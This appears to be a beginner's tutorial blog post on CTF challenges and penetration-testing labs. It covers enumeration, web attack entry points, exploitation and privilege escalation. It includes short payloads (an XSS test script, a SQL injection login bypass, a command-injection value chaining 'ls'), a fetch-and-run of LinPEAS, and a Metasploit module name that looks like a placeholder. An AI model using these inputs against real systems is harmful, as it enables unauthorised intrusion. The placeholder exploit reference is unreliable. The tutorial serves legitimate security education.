Imagine you’re a detective arriving at a crime scene. The room is locked, clues are scattered everywhere, and you have absolutely no idea where to start. Do you kick down the door immediately? Start dusting for fingerprints randomly? No — you walk around the building, check every window, talk to witnesses, and gather information before making your move.
Welcome to the world of Capture The Flag (CTF) challenges and cybersecurity labs! Most beginners treat it like an action movie — they want to “hack” immediately. But here’s the secret the pros know: 80% of penetration testing isn’t about breaking things. It’s about understanding things. It’s about being that methodical detective who notices the unlocked basement window everyone else walked past.
Why Should You Care About Learning CTFs?
🎯 For career switchers: Cybersecurity jobs pay $80K-$150K+ and are desperately needed. CTFs are your free training ground to prove you can actually do the work, not just talk about it.
🎯 For students and self-learners: Certificates are nice, but employers want to see you’ve solved real challenges. Your CTF writeups become your portfolio that screams, “I can actually hack things.”
🎯 For the curious: This isn’t just learning security — it’s learning how the entire digital world works. Every CTF challenge teaches you something that makes you better at understanding technology, period.
🎯 The bottom line: CTFs transform you from someone who reads about hacking into someone who does it. And that difference gets you hired.
Step 1: Information Gathering (Or Why Patience Beats Speed Every Time)
Here’s where beginners crash and burn: they rush. They see a challenge and immediately try exploiting something — anything — without understanding what they’re actually looking at.
The reality: Professional penetration testers spend 60–80% of their time just gathering information. This phase is called enumeration, and it’s where victories are won or lost.
Think of it like planning a heist. You don’t just run into the bank. You study the building layout, guard schedules, camera positions, alarm systems, and employee routines. The actual robbery is the easy part once you know everything.
What Information Gathering Actually Looks Like
# Start with basic port scanning
nmap -sV -sC 10.10.10.50# Results might show:
# Port 22 (SSH) - OpenSSH 7.6
# Port 80 (HTTP) - Apache 2.4.29
# Port 3306 (MySQL) - MySQL 5.7.33Each port is a potential door into the system. But here’s the trick: not all doors are equal. Some lead to treasure rooms, others to dead ends. Learning which doors matter comes from practice.
Pro tip: Create a simple enumeration checklist:
- What ports are open?
- What services are running on those ports?
- What versions are those services?
- Are there any default credentials I should try?
- What information can I gather without logging in?
The Art of Recognising Red Herrings
CTF creators love throwing misleading clues at you. You might find:
- A port that looks suspicious but leads nowhere
- Files with enticing names that contain garbage data
- Services that seem vulnerable but are actually hardened
How do you tell the difference? Honestly? You can’t at first. This is why practicing multiple labs matters — you start recognizing patterns. That weird port 8080 service? You’ve seen it before in three other challenges. Experience becomes your compass.
Step 2: Finding Your Entry Point (Where the Real Fun Begins)
After gathering information, you need to pick your angle of attack. This is like choosing which door to pick first.
Web Applications: The Most Common Target
About 70% of CTF challenges involve web applications because, well, most real hacking happens through websites too.
Common web vulnerabilities you’ll encounter:
Cross-Site Scripting (XSS) — Perfect for beginners!
// Simple test - try entering this in any input field:
<script>alert('XSS')</script>
// If you see a popup, the site is vulnerable!This vulnerability lets you inject malicious JavaScript into web pages. It’s common, powerful, and a great place to start learning.
Directory Traversal with Gobuster:
# Find hidden directories and files
gobuster dir -u http://target-site.com -w /usr/share/wordlists/common.txt# Might discover:
# /admin (admin panel!)
# /backup (old files with credentials!)
# /uploads (file upload functionality!)SQL Injection — The Classic Attack:
# Try in login forms:
admin' OR '1'='1' --
# This might bypass authentication if the site is vulnerableFile Upload Vulnerabilities: Upload a PHP shell disguised as an image and suddenly you’re executing commands on the server.
Command Injection: If a site lets you ping an IP address, try:
127.0.0.1; ls
# The semicolon runs a second command - listing files!Beyond Web: Other Challenge Types
Binary Exploitation: Analyzing compiled programs to find vulnerabilities (advanced but rewarding)
Reverse Engineering: Taking apart software to understand how it works (like being a digital archaeologist)
Steganography: Finding hidden messages in images, audio, or files (surprisingly common and fun!)
Cryptography: Breaking or analyzing encryption (math-heavy but fascinating)
Step 3: Exploitation (Turning Vulnerabilities into Access)
You found a vulnerability — great! Now what? This is where Google becomes your best friend.
The exploitation workflow:
- Identify the exact vulnerability: Is it CVE-2021–12345? SQL injection? Command injection?
- Search for existing exploits:
- Google: “CVE-2021–12345 exploit”
- ExploitDB (exploit-db.com)
- GitHub repositories
- Metasploit framework
3. Understand before running: Never run exploit code you don’t understand. Read it, modify it for your target, then execute.
Example: Finding and using an exploit
# Search Metasploit for exploits
searchsploit apache 2.4.29
# Use a specific exploit
msfconsole
use exploit/unix/webapp/apache_2.4_exploit
set RHOSTS 10.10.10.50
exploitReality check: Most exploits don’t work the first time. You’ll troubleshoot, adjust parameters, try different versions, and maybe spend hours on something that ultimately doesn’t work. This is normal. This is the job.
Step 4: Privilege Escalation (Getting the Keys to the Kingdom)
Congratulations! You gained access to the system. You’re logged in as user “bob” with limited permissions.
Plot twist: You need ROOT access to read the final flag. Welcome to privilege escalation — often the trickiest part of any CTF.
Linux Privilege Escalation
# Run automated enumeration scripts
wget https://raw.githubusercontent.com/carlospolop/PEASS-ng/master/linPEAS/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh
# This script checks for:
# - SUID binaries you can exploit
# - Weak file permissions
# - Kernel vulnerabilities
# - Misconfigured services
# - Exposed credentialsCommon privilege escalation vectors:
Sudo misconfigurations:
sudo -l # What can you run as root?
# If you see something like:
# User bob may run: /usr/bin/vim
# You can escape to root shell from vim!SUID binaries:
find / -perm -4000 2>/dev/null
# Binaries running with root permissions
# Some might have exploitable vulnerabilitiesWindows Privilege Escalation
Windows boxes require different tools and techniques:
- WinPEAS (Windows version of LinPEAS)
- PowerUp.ps1 scripts
- Checking for unpatched vulnerabilities
- Service misconfigurations
Step 5: Lateral Movement (Optional But Professional)
Sometimes one machine is just the beginning. Real penetration tests involve moving from one compromised system to another, mapping the entire network.
Techniques include:
- SSH tunnelling to access internal services
- Port forwarding to reach machines behind firewalls
- Credential harvesting and reuse
- Pivoting through compromised hosts
(We’ll cover this in depth in future articles — it deserves its own deep dive!)
The Secret Weapon Nobody Talks About: Documentation
Here’s what separates hobbyists from professionals: documentation.
While you’re hacking, document everything:
Create a standard lab directory structure:
CTF-ChallengeName/
├── scans/ # nmap results, vulnerability scans
├── exploits/ # scripts and exploits you tried
├── credentials/ # usernames, passwords found
├── screenshots/ # proof of flags, important findings
├── notes.md # your thought process and steps
└── writeup.md # final polished writeupWhy this matters:
- Professional certifications like OSCP require detailed reports
- You’ll face similar challenges again — why start from zero?
- Your write-ups become your portfolio for job applications
- Future you will thank past you for those notes
Document as you go, not after: The moment you find something interesting, write it down. You won’t remember everything when you’re writing up at 2 AM.
Your CTF Roadmap: Where to Start
Beginner-friendly platforms:
- TryHackMe: Guided rooms with hints (perfect for starting)
- HackTheBox: Industry-standard but tougher (try after some TryHackMe experience)
- PicoCTF: Great for absolute beginners
- OverTheWire: Command-line focused challenges
Recommended progression:
- Start with TryHackMe’s “Complete Beginner” path
- Do 10–15 easy boxes to build confidence
- Graduate to medium difficulty challenges
- Join CTF competitions for real-world pressure
- Eventually tackle HackTheBox Pro Labs for job-ready skills
TLDR Cheat Sheet
🔍 Information Gathering (80% of the work):
- Scan ports:
nmap -sV -sC target-ip - Enumerate services and versions thoroughly
- Create a checklist of all findings
🎯 Finding Entry Points:
- Web apps: Test for XSS, SQL injection, directory traversal, file uploads
- Use Gobuster for hidden directories
- Google every service version for known vulnerabilities
💥 Exploitation:
- Search ExploitDB, GitHub, and Metasploit
- Always understand exploits before running them
- Google is your best friend
👑 Privilege Escalation:
- Linux: Run LinPEAS, check sudo permissions, find SUID binaries
- Windows: Run WinPEAS, check service misconfigurations
- This is often the hardest part — be patient
📝 Documentation:
- Create organized directories for each challenge
- Document as you go, not after
- Save all scans, exploits, and screenshots
- Write professional writeups for your portfolio